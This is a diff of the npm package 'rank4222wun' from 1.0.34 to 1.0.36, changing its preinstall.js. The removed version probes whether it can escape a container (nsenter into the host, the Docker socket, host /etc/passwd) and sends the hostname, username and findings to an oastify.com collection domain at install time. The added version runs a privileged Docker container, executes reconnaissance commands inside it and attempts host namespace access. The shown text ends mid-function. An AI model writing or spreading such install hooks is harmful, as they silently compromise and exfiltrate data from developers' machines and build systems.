rank4222wun 1.0.34 → 1.0.36

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.34",
+  "version": "1.0.36",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,629 +1,444 @@
-// container-escape-confirmation-with-oast.js
+// run-privileged-container.js
 const { exec, spawn } = require('child_process');
-const os = require('os');
 const fs = require('fs');
 const path = require('path');
-const https = require('https');
-const dns = require('dns');
 
-console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL WITH OAST\n");
-console.log("📍 OAST Domain: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com\n");
-
-// إعدادات OAST الخاصة بك
-const OAST_CONFIG = {
-  domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
-  httpsPort: 443,
-  httpPort: 80,
-  dnsSubdomain: 'escape-confirmation'
-};
-
-const evidenceLog = {
-  timestamp: new Date().toISOString(),
-  sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
-  oastDomain: OAST_CONFIG.domain,
-  
-  // حالة النظام
-  systemInfo: {
-    currentHostname: os.hostname(),
-    currentUser: os.userInfo().username,
-    platform: os.platform(),
-    isContainer: null,
-    containerType: null,
-    containerId: null
-  },
-  
-  // نتائج فحص الهروب
-  escapeChecks: {
-    nsenter: { found: false, accessible: false, evidence: null },
-    dockerSocket: { found: false, writable: false, containers: [] },
-    hostMounts: { found: false, mounts: [], hostAccess: false },
-    procAccess: { accessible: false, hostPid: null },
-    kernel: { version: null, vulnerable: false, exploits: [] },
-    capabilities: { dangerous: [], hasSysAdmin: false }
-  },
-  
-  // أدلة قاطعة على الهروب
-  definitiveEvidence: {
-    differentHostnameConfirmed: false,
-    hostFilesAccess: false,
-    hostUsersReadable: false,
-    hostNetworkVisible: false,
-    hostProcessesVisible: false
-  },
-  
-  // نتائج OAST
-  oastResults: {
-    dnsCalled: false,
-    httpCalled: false,
-    httpsCalled: false,
-    interactions: []
-  },
-  
-  // النتيجة النهائية
-  finalVerdict: {
-    escapedToHost: false,
-    confidence: 0,
-    riskLevel: 'UNKNOWN',
-    escapeMethods: [],
-    proofPoints: []
+class PrivilegedContainerRunner {
+  constructor() {
+    this.containerId = null;
+    this.outputLog = [];
+    this.status = 'stopped';
   }
-};
 
-// ===================== OAST Interaction Functions =====================
-function sendOASTInteraction(type, data) {
-  const interactionId = `interaction-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
-  const interaction = {
-    id: interactionId,
-    type: type,
-    timestamp: new Date().toISOString(),
-    data: data
-  };
-  
-  evidenceLog.oastResults.interactions.push(interaction);
-  
-  switch(type) {
-    case 'DNS':
-      // إرسال DNS request
-      const dnsHostname = `${interactionId}.${OAST_CONFIG.dnsSubdomain}.${OAST_CONFIG.domain}`;
-      dns.lookup(dnsHostname, (err, address) => {
-        if (!err) {
-          evidenceLog.oastResults.dnsCalled = true;
-          console.log(`✅ DNS OAST request sent: ${dnsHostname}`);
-        }
-      });
-      break;
+  async runContainer() {
+    console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
+    
+    return new Promise((resolve, reject) => {
+      const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
       
-    case 'HTTP':
-      // إرسال HTTP request
-      const httpReq = require('http').request({
-        hostname: OAST_CONFIG.domain,
-        port: OAST_CONFIG.httpPort,
-        path: `/${interactionId}`,
-        method: 'GET',
-        headers: {
-          'User-Agent': 'ContainerEscapeConfirm/1.0',
-          'X-Session-ID': evidenceLog.sessionId,
-          'X-Check-Type': data.checkType || 'unknown'
+      exec(dockerCommand, (error, stdout, stderr) => {
+        if (error) {
+          console.error('❌ خطأ في تشغيل الحاوية:', error.message);
+          reject(error);
+          return;
         }
-      }, (res) => {
-        let body = '';
-        res.on('data', chunk => body += chunk);
-        res.on('end', () => {
-          evidenceLog.oastResults.httpCalled = true;
-          console.log(`✅ HTTP OAST request sent (${res.statusCode})`);
-        });
+        
+        this.containerId = stdout.trim();
+        console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
+        this.status = 'running';
+        
+        // الانتظار قليلاً ثم تنفيذ الأوامر
+        setTimeout(() => {
+          this.executeCommands()
+            .then(resolve)
+            .catch(reject);
+        }, 2000);
       });
+    });
+  }
+
+  async executeCommands() {
+    console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
+    
+    const commands = [
+      // معلومات النظام الأساسية
+      'echo "=== معلومات النظام ==="',
+      'cat /etc/os-release',
+      'uname -a',
+      'whoami',
+      'id',
       
-      httpReq.on('error', () => {});
-      httpReq.write(JSON.stringify(data));
-      httpReq.end();
-      break;
+      // معلومات الذاكرة والمعالج
+      'echo -e "\n=== موارد النظام ==="',
+      'free -h',
+      'df -h',
+      'cat /proc/cpuinfo | grep "model name" | head -1',
       
-    case 'HTTPS':
-      // إرسال HTTPS request (الأهم)
-      const httpsReq = https.request({
-        hostname: OAST_CONFIG.domain,
-        port: OAST_CONFIG.httpsPort,
-        path: `/container-escape-evidence`,
-        method: 'POST',
-        headers: {
-          'Content-Type': 'application/json',
-          'User-Agent': 'ContainerEscapeDetector/1.0',
-          'X-Session-ID': evidenceLog.sessionId,
-          'X-Hostname': os.hostname(),
-          'X-Check-Point': data.checkPoint || 'initial'
-        }
-      }, (res) => {
-        let responseBody = '';
-        res.on('data', chunk => responseBody += chunk);
-        res.on('end', () => {
-          evidenceLog.oastResults.httpsCalled = true;
-          console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
-          
-          // تخزين رد السيرفر إذا أرسل بيانات
-          if (responseBody) {
-            try {
-              const serverResponse = JSON.parse(responseBody);
-              interaction.serverResponse = serverResponse;
-            } catch (e) {}
-          }
-        });
-      });
+      // التحقق من الصلاحيات
+      'echo -e "\n=== الصلاحيات المميزة ==="',
+      'capsh --print',
+      'cat /proc/self/status | grep Cap',
       
-      httpsReq.on('error', (e) => {
-        console.log(`⚠️  OAST HTTPS error (may be expected): ${e.message}`);
-      });
+      // معلومات الشبكة
+      'echo -e "\n=== معلومات الشبكة ==="',
+      'ip addr show',
+      'hostname -I',
+      'route -n',
       
-      httpsReq.write(JSON.stringify({
-        sessionId: evidenceLog.sessionId,
-        timestamp: new Date().toISOString(),
-        checkPoint: data.checkPoint,
-        evidence: data.evidence,
-        systemInfo: evidenceLog.systemInfo
-      }));
+      // فحص الملفات والمجلدات
+      'echo -e "\n=== نظام الملفات ==="',
+      'ls -la /',
+      'mount | head -20',
       
-      httpsReq.end();
-      break;
-  }
-}
-
-// ===================== Phase 1: Basic Container Detection =====================
-function detectContainerEnvironment() {
-  console.log("🔍 المرحلة 1: اكتشاف بيئة الحاوية...\n");
-  
-  const checks = [
-    {
-      name: 'cgroup_check',
-      command: 'cat /proc/1/cgroup 2>/dev/null | head -5',
-      handler: (output) => {
-        if (output) {
-          if (output.includes('docker')) {
-            evidenceLog.systemInfo.isContainer = true;
-            evidenceLog.systemInfo.containerType = 'Docker';
-            // استخراج Container ID
-            const match = output.match(/docker\/([a-f0-9]{64})/);
-            if (match) {
-              evidenceLog.systemInfo.containerId = match[1].substring(0, 12);
-            }
-            console.log(`✅ في حاوية Docker: ${evidenceLog.systemInfo.containerId || 'unknown'}`);
-          } else if (output.includes('kubepods')) {
-            evidenceLog.systemInfo.isContainer = true;
-            evidenceLog.systemInfo.containerType = 'Kubernetes';
-            console.log("✅ في حاوية Kubernetes");
-          }
-        }
-      }
-    },
-    {
-      name: 'rootfs_check',
-      command: 'mount 2>/dev/null | grep "on / " | grep overlay || echo "NOT_OVERLAY"',
-      handler: (output) => {
-        if (!output.includes('NOT_OVERLAY')) {
-          evidenceLog.systemInfo.isContainer = true;
-          console.log("✅ نظام ملفات overlay (حاوية)");
-        }
-      }
-    },
-    {
-      name: 'container_runtime',
-      command: 'which docker podman containerd 2>/dev/null | head -1 || echo "NO_RUNTIME"',
-      handler: (output) => {
-        if (!output.includes('NO_RUNTIME')) {
-          console.log(`✅ Container runtime موجود: ${output.trim()}`);
-        }
-      }
-    }
-  ];
-  
-  let completed = 0;
-  checks.forEach(check => {
-    exec(check.command, { timeout: 3000 }, (err, stdout) => {
-      if (!err && stdout) check.handler(stdout);
-      completed++;
-      if (completed === checks.length) {
-        // إرسال DNS check إلى OAST
-        sendOASTInteraction('DNS', { 
-          checkType: 'container_detection',
-          result: evidenceLog.systemInfo 
-        });
-        
-        setTimeout(performEscapeVerification, 2000);
-      }
-    });
-  });
-}
+      // تحليل الحاوية
+      'echo -e "\n=== معلومات الحاوية ==="',
+      'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
+      'cat /proc/self/mountinfo 2>/dev/null | head -10',
+      
+      // اختبار الوصول إلى المضيف
+      'echo -e "\n=== اختبار الوصول للمضيف ==="',
+      'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
+      'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
+      
+      // معلومات إضافية
+      'echo -e "\n=== معلومات إضافية ==="',
+      'env | head -20',
+      'ps aux | head -10'
+    ];
 
-// ===================== Phase 2: Escape Verification =====================
-function performEscapeVerification() {
-  console.log("\n🔍 المرحلة 2: التحقق من الهروب الفعلي...\n");
-  
-  // إرسال HTTP ping إلى OAST
-  sendOASTInteraction('HTTP', { 
-    checkPoint: 'escape_verification_start',
-    currentHostname: evidenceLog.systemInfo.currentHostname 
-  });
-  
-  const verificationTests = [
-    // Test 1: nsenter access
-    {
-      name: 'nsenter_test',
-      commands: [
-        'which nsenter 2>/dev/null || echo "NOT_FOUND"',
-        'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
-      ],
-      handler: (results) => {
-        const [nsenterPath, nsenterOutput] = results;
-        
-        evidenceLog.escapeChecks.nsenter.found = !nsenterPath.includes('NOT_FOUND');
-        
-        if (nsenterOutput && !nsenterOutput.includes('FAILED')) {
-          evidenceLog.escapeChecks.nsenter.accessible = true;
-          
-          // تحليل النتيجة
-          const lines = nsenterOutput.split('\n');
-          let hostHostname = '';
-          let containerHostname = '';
-          
-          lines.forEach(line => {
-            if (line.startsWith('HOST_HOSTNAME:')) {
-              hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
-            }
-            if (line.startsWith('CONTAINER_HOSTNAME:')) {
-              containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
-            }
-          });
-          
-          if (hostHostname && containerHostname && hostHostname !== containerHostname) {
-            evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
-            evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
-            console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
-            
-            // إرسال أدلة قوية إلى OAST
-            sendOASTInteraction('HTTPS', {
-              checkPoint: 'nsenter_escape_confirmed',
-              evidence: {
-                hostHostname: hostHostname,
-                containerHostname: containerHostname,
-                method: 'nsenter'
-              }
-            });
-          }
-        }
-      }
-    },
+    const results = {};
     
-    // Test 2: Docker socket access
-    {
-      name: 'docker_socket_test',
-      commands: [
-        'ls -la /var/run/docker.sock 2>/dev/null | head -1 || echo "NOT_FOUND"',
-        'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -o \'"ID":"[^"]*"\' | head -1 || echo "NO_ACCESS"'
-      ],
-      handler: (results) => {
-        const [socketInfo, dockerInfo] = results;
-        
-        evidenceLog.escapeChecks.dockerSocket.found = !socketInfo.includes('NOT_FOUND');
-        evidenceLog.escapeChecks.dockerSocket.writable = socketInfo.includes('rw');
-        
-        if (!dockerInfo.includes('NO_ACCESS') && dockerInfo.includes('ID')) {
-          evidenceLog.escapeChecks.dockerSocket.accessible = true;
-          console.log("✅ Docker socket accessible from container!");
-          
-          // محاولة سرد الحاويات الأخرى
-          exec('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l || echo "0"', 
-            (err, stdout) => {
-              if (!err && stdout && !isNaN(parseInt(stdout))) {
-                const containerCount = parseInt(stdout);
-                if (containerCount > 1) {
-                  evidenceLog.escapeChecks.dockerSocket.containers = [`Found ${containerCount} total containers`];
-                  console.log(`🎯 DETECTED: Can see ${containerCount} containers on host`);
-                  
-                  sendOASTInteraction('HTTPS', {
-                    checkPoint: 'docker_socket_access',
-                    evidence: {
-                      socketAccessible: true,
-                      containerCount: containerCount,
-                      method: 'docker_socket'
-                    }
-                  });
-                }
-              }
-            });
-        }
-      }
-    },
-    
-    // Test 3: Host filesystem access
-    {
-      name: 'host_files_test',
-      commands: [
-        'cat /proc/1/mountinfo 2>/dev/null | grep -E "/ / " | head -1 || echo "NO_INFO"',
-        'ls -la /home 2>/dev/null | head -5 || echo "NO_ACCESS"',
-        'cat /etc/passwd 2>/dev/null | head -3 || echo "NO_ACCESS"'
-      ],
-      handler: (results) => {
-        const [mountInfo, homeAccess, passwdAccess] = results;
-        
-        if (!homeAccess.includes('NO_ACCESS')) {
-          evidenceLog.definitiveEvidence.hostFilesAccess = true;
-          console.log("🎯 DETECTED: Can access /home directory of host!");
-        }
-        
-        if (!passwdAccess.includes('NO_ACCESS')) {
-          evidenceLog.definitiveEvidence.hostUsersReadable = true;
-          console.log("🎯 DETECTED: Can read /etc/passwd of host!");
-        }
-        
-        if (evidenceLog.definitiveEvidence.hostFilesAccess || evidenceLog.definitiveEvidence.hostUsersReadable) {
-          sendOASTInteraction('HTTPS', {
-            checkPoint: 'host_filesystem_access',
-            evidence: {
-              homeAccess: evidenceLog.definitiveEvidence.hostFilesAccess,
-              passwdAccess: evidenceLog.definitiveEvidence.hostUsersReadable
-            }
-          });
-        }
+    for (let i = 0; i < commands.length; i++) {
+      const command = commands[i];
+      
+      // إذا كان الأمر echo، عرضه مباشرة
+      if (command.startsWith('echo')) {
+        const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
+        console.log(message);
+        this.outputLog.push(message);
+        continue;
       }
-    },
-    
-    // Test 4: Host processes access
-    {
-      name: 'host_processes_test',
-      commands: [
-        'ps aux 2>/dev/null | head -10 || echo "NO_PS"',
-        'cat /proc/1/status 2>/dev/null | head -5 || echo "NO_ACCESS"'
-      ],
-      handler: (results) => {
-        const [psOutput, proc1Status] = results;
+      
+      // تنفيذ الأمر داخل الحاوية
+      try {
+        const output = await this.execInContainer(command);
+        console.log(output);
+        this.outputLog.push(output);
         
-        if (!psOutput.includes('NO_PS') && psOutput.split('\n').length > 5) {
-          evidenceLog.definitiveEvidence.hostProcessesVisible = true;
-          console.log("✅ Can see host processes");
+        // حفظ النتائج المهمة
+        if (command.includes('os-release')) {
+          results.osInfo = output;
+        } else if (command.includes('uname -a')) {
+          results.kernelInfo = output;
+        } else if (command.includes('capsh')) {
+          results.capabilities = output;
+        } else if (command.includes('docker.sock')) {
+          results.dockerSocket = output.includes('✅');
         }
         
-        if (!proc1Status.includes('NO_ACCESS')) {
-          evidenceLog.escapeChecks.procAccess.accessible = true;
-          evidenceLog.escapeChecks.procAccess.hostPid = '1';
-          console.log("🎯 DETECTED: Can access host init process (PID 1)!");
-        }
-      }
-    },
-    
-    // Test 5: Network visibility
-    {
-      name: 'network_test',
-      commands: [
-        'ip route show 2>/dev/null | head -3 || echo "NO_ROUTE"',
-        'hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3 || echo "NO_IP"'
-      ],
-      handler: (results) => {
-        const [routeOutput, ipOutput] = results;
-        
-        if (!routeOutput.includes('NO_ROUTE') || !ipOutput.includes('NO_IP')) {
-          evidenceLog.definitiveEvidence.hostNetworkVisible = true;
-          console.log("✅ Can see host network configuration");
-        }
+      } catch (error) {
+        const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
+        console.log(errorMsg);
+        this.outputLog.push(errorMsg);
       }
+      
+      // تأخير بسيط بين الأوامر
+      await this.delay(500);
     }
-  ];
-  
-  let testsCompleted = 0;
-  const testResults = {};
-  
-  verificationTests.forEach(test => {
-    testResults[test.name] = [];
-    let commandsCompleted = 0;
     
-    test.commands.forEach((cmd, idx) => {
-      exec(cmd, { timeout: 5000 }, (err, stdout) => {
-        testResults[test.name][idx] = stdout || '';
-        commandsCompleted++;
-        
-        if (commandsCompleted === test.commands.length) {
-          test.handler(testResults[test.name]);
-          testsCompleted++;
-          
-          if (testsCompleted === verificationTests.length) {
-            setTimeout(analyzeEvidence, 3000);
+    return results;
+  }
+
+  execInContainer(command) {
+    return new Promise((resolve, reject) => {
+      if (!this.containerId) {
+        reject(new Error('لا توجد حاوية نشطة'));
+        return;
+      }
+      
+      const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
+      
+      exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
+        if (error) {
+          // بعض الأوامر تعطي stderr لكنها ناجحة
+          if (stderr && !stdout) {
+            resolve(stderr);
+          } else {
+            reject(error);
           }
+        } else {
+          resolve(stdout || stderr || '');
         }
       });
     });
-  });
-}
-
-// ===================== Phase 3: Evidence Analysis =====================
-function analyzeEvidence() {
-  console.log("\n🔍 المرحلة 3: تحليل الأدلة وتقييم الثقة...\n");
-  
-  let confidenceScore = 0;
-  const maxScore = 100;
-  const escapeMethods = [];
-  const proofPoints = [];
-  
-  // 1. أدلة قاطعة (25 نقطة لكل)
-  if (evidenceLog.definitiveEvidence.differentHostnameConfirmed) {
-    confidenceScore += 25;
-    proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
-  }
-  
-  if (evidenceLog.definitiveEvidence.hostFilesAccess) {
-    confidenceScore += 25;
-    proofPoints.push("الوصول لملفات /home في المضيف");
-  }
-  
-  if (evidenceLog.definitiveEvidence.hostUsersReadable) {
-    confidenceScore += 20;
-    proofPoints.push("قراءة /etc/passwd للمضيف");
-  }
-  
-  // 2. أدلة قوية (15 نقطة لكل)
-  if (evidenceLog.escapeChecks.nsenter.accessible) {
-    confidenceScore += 15;
-    escapeMethods.push("nsenter");
   }
-  
-  if (evidenceLog.escapeChecks.dockerSocket.accessible) {
-    confidenceScore += 15;
-    escapeMethods.push("docker_socket");
+
+  delay(ms) {
+    return new Promise(resolve => setTimeout(resolve, ms));
   }
-  
-  if (evidenceLog.escapeChecks.procAccess.accessible) {
-    confidenceScore += 15;
-    escapeMethods.push("proc_access");
+
+  async getInteractiveShell() {
+    console.log('\n💻 تشغيل shell تفاعلي...');
+    console.log('   استخدم "exit" للخروج\n');
+    
+    return new Promise((resolve) => {
+      const dockerProcess = spawn('docker', [
+        'exec', '-it', this.containerId, '/bin/bash'
+      ], {
+        stdio: 'inherit'
+      });
+      
+      dockerProcess.on('close', (code) => {
+        console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
+        resolve();
+      });
+    });
   }
-  
-  // 3. أدلة مساندة (10 نقطة لكل)
-  if (evidenceLog.definitiveEvidence.hostProcessesVisible) {
-    confidenceScore += 10;
+
+  saveOutput() {
+    const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
+    const filename = `container-output-${timestamp}.txt`;
+    
+    const output = [
+      `ناتج تشغيل حاوية مميزة`,
+      `تاريخ: ${new Date().toLocaleString()}`,
+      `Container ID: ${this.containerId || 'غير معروف'}`,
+      `الحالة: ${this.status}`,
+      `='.repeat(50)}\n\n`,
+      ...this.outputLog
+    ].join('\n');
+    
+    fs.writeFileSync(filename, output);
+    console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
+    
+    return filename;
   }
-  
-  if (evidenceLog.definitiveEvidence.hostNetworkVisible) {
-    confidenceScore += 10;
+
+  async cleanup() {
+    if (this.containerId && this.status === 'running') {
+      console.log('\n🧹 تنظيف الحاوية...');
+      
+      try {
+        await this.execOnHost(`docker stop ${this.containerId}`);
+        await this.execOnHost(`docker rm ${this.containerId}`);
+        this.status = 'stopped';
+        console.log('✅ تم تنظيف الحاوية بنجاح');
+      } catch (error) {
+        console.error('❌ خطأ في التنظيف:', error.message);
+      }
+    }
   }
-  
-  // تحديد نتيجة الهروب
-  evidenceLog.finalVerdict.confidence = Math.min(100, confidenceScore);
-  evidenceLog.finalVerdict.escapeMethods = escapeMethods;
-  evidenceLog.finalVerdict.proofPoints = proofPoints;
-  
-  if (evidenceLog.finalVerdict.confidence >= 60) {
-    evidenceLog.finalVerdict.escapedToHost = true;
-    evidenceLog.finalVerdict.riskLevel = evidenceLog.finalVerdict.confidence >= 80 ? 'CRITICAL' : 'HIGH';
-  } else if (evidenceLog.finalVerdict.confidence >= 30) {
-    evidenceLog.finalVerdict.escapedToHost = 'POSSIBLE';
-    evidenceLog.finalVerdict.riskLevel = 'MEDIUM';
-  } else {
-    evidenceLog.finalVerdict.escapedToHost = false;
-    evidenceLog.finalVerdict.riskLevel = 'LOW';
+
+  execOnHost(command) {
+    return new Promise((resolve, reject) => {
+      exec(command, (error, stdout, stderr) => {
+        if (error) {
+          reject(error);
+        } else {
+          resolve(stdout);
+        }
+      });
+    });
   }
-  
-  // إرسال النتيجة النهائية إلى OAST
-  sendOASTInteraction('HTTPS', {
-    checkPoint: 'final_verdict',
-    evidence: {
-      escapedToHost: evidenceLog.finalVerdict.escapedToHost,
-      confidence: evidenceLog.finalVerdict.confidence,
-      escapeMethods: escapeMethods,
-      proofPoints: proofPoints
-    }
-  });
-  
-  generateFinalReport();
-}
 
-// ===================== Phase 4: Final Report =====================
-function generateFinalReport() {
-  console.log("\n" + "=".repeat(80));
-  console.log("📊 تقرير تأكيد هروب الحاوية - مع OAST");
-  console.log("=".repeat(80));
-  
-  console.log(`\n📍 OAST Domain: ${OAST_CONFIG.domain}`);
-  console.log(`🎯 Session ID: ${evidenceLog.sessionId}`);
-  console.log(`⏰ وقت التحقق: ${new Date(evidenceLog.timestamp).toLocaleString()}`);
-  
-  console.log("\n🔍 معلومات النظام:");
-  console.log(`   Hostname: ${evidenceLog.systemInfo.currentHostname}`);
-  console.log(`   المستخدم: ${evidenceLog.systemInfo.currentUser}`);
-  console.log(`   النظام: ${evidenceLog.systemInfo.platform}`);
-  console.log(`   في حاوية: ${evidenceLog.systemInfo.isContainer ? 'نعم (' + evidenceLog.systemInfo.containerType + ')' : 'لا'}`);
-  if (evidenceLog.systemInfo.containerId) {
-    console.log(`   Container ID: ${evidenceLog.systemInfo.containerId}`);
+  async run() {
+    try {
+      // 1. تشغيل الحاوية
+      await this.runContainer();
+      
+      // 2. تنفيذ الأوامر
+      const results = await this.executeCommands();
+      
+      // 3. حفظ النتائج
+      const outputFile = this.saveOutput();
+      
+      // 4. عرض الملخص
+      this.showSummary(results, outputFile);
+      
+      // 5. خيار shell تفاعلي
+      console.log('\n🎯 الخيارات المتاحة:');
+      console.log('   1. تشغيل shell تفاعلي (bash)');
+      console.log('   2. تنظيف الحاوية والخروج');
+      console.log('   3. الخروج بدون تنظيف');
+      
+      // انتظار قرار المستخدم
+      await this.waitForUserDecision();
+      
+    } catch (error) {
+      console.error('❌ فشل التشغيل:', error.message);
+    }
   }
-  
-  console.log("\n🎯 النتيجة النهائية:");
-  let verdictIcon = '❓';
-  let verdictText = '';
-  
-  if (evidenceLog.finalVerdict.escapedToHost === true) {
-    verdictIcon = '🚨';
-    verdictText = 'هروب مؤكد من الحاوية إلى المضيف!';
-  } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
-    verdictIcon = '⚠️';
-    verdictText = 'هروب محتمل من الحاوية';
-  } else {
-    verdictIcon = '✅';
-    verdictText = 'الحاوية معزولة (لم يتم تأكيد الهروب)';
+
+  showSummary(results, outputFile) {
+    console.log('\n' + '='.repeat(60));
+    console.log('📊 ملخص تشغيل الحاوية المميزة');
+    console.log('='.repeat(60));
+    
+    console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
+    console.log(`📁 الناتج محفوظ في: ${outputFile}`);
+    
+    if (results.osInfo) {
+      const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
+      if (osLine) {
+        console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
+      }
+    }
+    
+    if (results.kernelInfo) {
+      console.log(`⚙️  Kernel: ${results.kernelInfo.split(' ')[2]}`);
+    }
+    
+    if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
+      console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
+    }
+    
+    console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
+    console.log('='.repeat(60));
   }
-  
-  console.log(`   ${verdictIcon} ${verdictText}`);
-  console.log(`   📈 مستوى الثقة: ${evidenceLog.finalVerdict.confidence}%`);
-  console.log(`   ⚠️  مستوى الخطورة: ${evidenceLog.finalVerdict.riskLevel}`);
-  
-  if (evidenceLog.finalVerdict.escapeMethods.length > 0) {
-    console.log(`\n🔧 طرق الهروب المكتشفة:`);
-    evidenceLog.finalVerdict.escapeMethods.forEach((method, i) => {
-      console.log(`   ${i + 1}. ${method}`);
+
+  async waitForUserDecision() {
+    const readline = require('readline').createInterface({
+      input: process.stdin,
+      output: process.stdout
     });
-  }
-  
-  if (evidenceLog.finalVerdict.proofPoints.length > 0) {
-    console.log(`\n🎯 أدلة قاطعة:`);
-    evidenceLog.finalVerdict.proofPoints.forEach((proof, i) => {
-      console.log(`   ${i + 1}. ${proof}`);
+    
+    return new Promise((resolve) => {
+      readline.question('\nاختر رقم الخيار: ', async (answer) => {
+        switch(answer.trim()) {
+          case '1':
+            await this.getInteractiveShell();
+            readline.close();
+            await this.cleanup();
+            resolve();
+            break;
+            
+          case '2':
+            readline.close();
+            await this.cleanup();
+            resolve();
+            break;
+            
+          case '3':
+          default:
+            readline.close();
+            console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
+            console.log(`   Container ID: ${this.containerId}`);
+            console.log('   يمكنك تنظيفها يدوياً:');
+            console.log(`   docker stop ${this.containerId}`);
+            console.log(`   docker rm ${this.containerId}`);
+            resolve();
+            break;
+        }
+      });
     });
   }
+}
+
+// ===================== النسخة المبسطة =====================
+function runSimplePrivilegedContainer() {
+  console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
+  
+  const dockerProcess = spawn('docker', [
+    'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
+  ], {
+    stdio: 'inherit'
+  });
   
-  console.log("\n📡 نتائج OAST:");
-  console.log(`   DNS Requests: ${evidenceLog.oastResults.dnsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
-  console.log(`   HTTP Requests: ${evidenceLog.oastResults.httpCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
-  console.log(`   HTTPS Requests: ${evidenceLog.oastResults.httpsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
-  console.log(`   Total Interactions: ${evidenceLog.oastResults.interactions.length}`);
+  dockerProcess.on('close', (code) => {
+    console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
+  });
   
-  if (evidenceLog.oastResults.interactions.length > 0) {
-    console.log(`   Last Interaction: ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].type} at ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].timestamp}`);
-  }
+  // التعامل مع إشارات الإغلاق
+  process.on('SIGINT', () => {
+    console.log('\n\n⚠️  تم استقبال Ctrl+C...');
+    dockerProcess.kill('SIGINT');
+  });
+}
+
+// ===================== النسخة مع أوامر مسبقة =====================
+function runWithPredefinedCommands() {
+  console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
+  
+  const commands = [
+    'echo "=== مرحباً من الحاوية المميزة ==="',
+    'cat /etc/os-release | grep PRETTY_NAME',
+    'uname -a',
+    'whoami',
+    'id',
+    'echo "=== الصلاحيات ==="',
+    'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
+    'echo "=== انتهى ==="',
+    'exit 0'
+  ];
   
-  // حفظ التقرير محلياً
-  const reportFilename = `/tmp/container-escape-oast-report-${evidenceLog.sessionId}.json`;
-  fs.writeFileSync(reportFilename, JSON.stringify(evidenceLog, null, 2));
+  const dockerProcess = spawn('docker', [
+    'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
+  ]);
   
-  console.log(`\n💾 التقرير الكامل محفوظ في: ${reportFilename}`);
+  dockerProcess.stdout.on('data', (data) => {
+    console.log(data.toString());
+  });
   
-  // تعليمات التحقق من OAST
-  console.log("\n" + "=".repeat(80));
-  console.log("🔍 كيفية التحقق من النتائج في OAST:");
-  console.log("=".repeat(80));
-  console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
-  console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
-  console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
-  console.log("4. ستجد التفاعلات التالية:");
-  console.log("   - DNS requests (إذا نجحت)");
-  console.log("   - HTTP requests (إذا نجحت)");
-  console.log("   - HTTPS POST requests مع أدلة الهروب");
-  console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
-  console.log("   - 'escapedToHost': true ← تأكيد الهروب");
-  console.log("   - 'confidence': >60% ← ثقة عالية");
-  console.log("   - 'proofPoints' ← قائمة بالأدلة");
+  dockerProcess.stderr.on('data', (data) => {
+    console.error(data.toString());
+  });
   
-  console.log("\n" + "=".repeat(80));
-  if (evidenceLog.finalVerdict.escapedToHost === true) {
